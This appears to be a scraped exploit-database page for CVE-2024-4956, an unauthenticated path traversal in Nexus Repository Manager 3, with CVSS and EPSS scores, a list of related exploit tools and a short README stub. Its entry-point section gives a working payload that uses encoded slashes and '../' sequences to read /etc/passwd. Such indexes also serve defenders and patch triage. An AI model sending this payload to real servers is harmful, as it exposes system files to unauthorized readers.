Exploit for CVE-2024-4956

kitploit · 2026-08-25

Description

Unauthenticated path traversal in Nexus Repository Manager 3.

Entry point

ParameterfilePath · path

Path/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

Path traversal via crafted filePath to read /etc/passwd

All known vulnerabilities by product

Nexus Repository Manager Sonatype Nexus Repository 3

CVSS 7.5 for CVE-2024-4956

7.5

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:NONE

Availability:NONE

EPSS Score

18.2%higher than 97.0% of all CVEs

Updated 2026-08-28

CVE Information

Exploit Details

Modified:2026-08-25 02:49

Last Seen:2026-08-26 09:10

Reporter:KitPloit

Tags

Nexus Repository Manager 3path traversalunauthenticatedCVE-2024-4956

Other exploits for CVE-2024-4956

CVE-2024-4956-PoC

2026-08-28 KitPloitKITPLOIT

CVE-2024-4956-Bulk-Scanner

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-27 KitPloitKITPLOIT

Exploit Code

MARKDOWN6 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BANDITZCYBER0X-CVE-2024-4956
# CVE-2024-4956

Nexus Repository Manager 3 Nicht authentifizierter Pfad-Traversal

![Contoh Gambar](https://raw.githubusercontent.com/adhen13/CVE-2024-4956/main/cve.png)